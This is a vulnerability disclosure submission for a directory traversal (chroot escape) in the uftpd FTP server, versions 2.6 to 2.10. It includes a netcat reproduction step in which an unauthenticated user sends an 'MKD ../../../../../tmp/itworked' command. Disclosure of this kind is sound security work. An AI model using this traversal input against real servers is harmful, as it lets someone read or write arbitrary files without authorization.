Submit #83: uftpd 2.6-2.10 Directory Traversal (Chroot Escape)

# Directory Traversal (Chroot Escape)
## Description

It is possible for an unauthenticated user to perform a directory traversal attack using multiple different FTP commands and read and write to arbitrary locations on the filesystem due to the lack of a well-written chroot jail in `compose_abspath`.


## Reproduction Steps

To reproduce this vulnerability, connect via `netcat <ip> <port>` and write to the FTP server socket the following:

```
MKD ../../../../../tmp/itworked
```

Then, `ls /tmp/itworked` from terminal to verify that the folder was created.

## Mitigation

Properly sanitize paths.

• Source: ⚠️ https://aaronesau.com/blog/posts/6
• User: arinerron (UID 4337)
• Submission: 08/31/2019 20:36 (7 years ago)
• Moderation: 09/03/2019 07:09 (2 days later)
• Status: Accepted
• VulDB entry: 141191 [uftpd 2.6-2.10 path traversal]
• Points: 20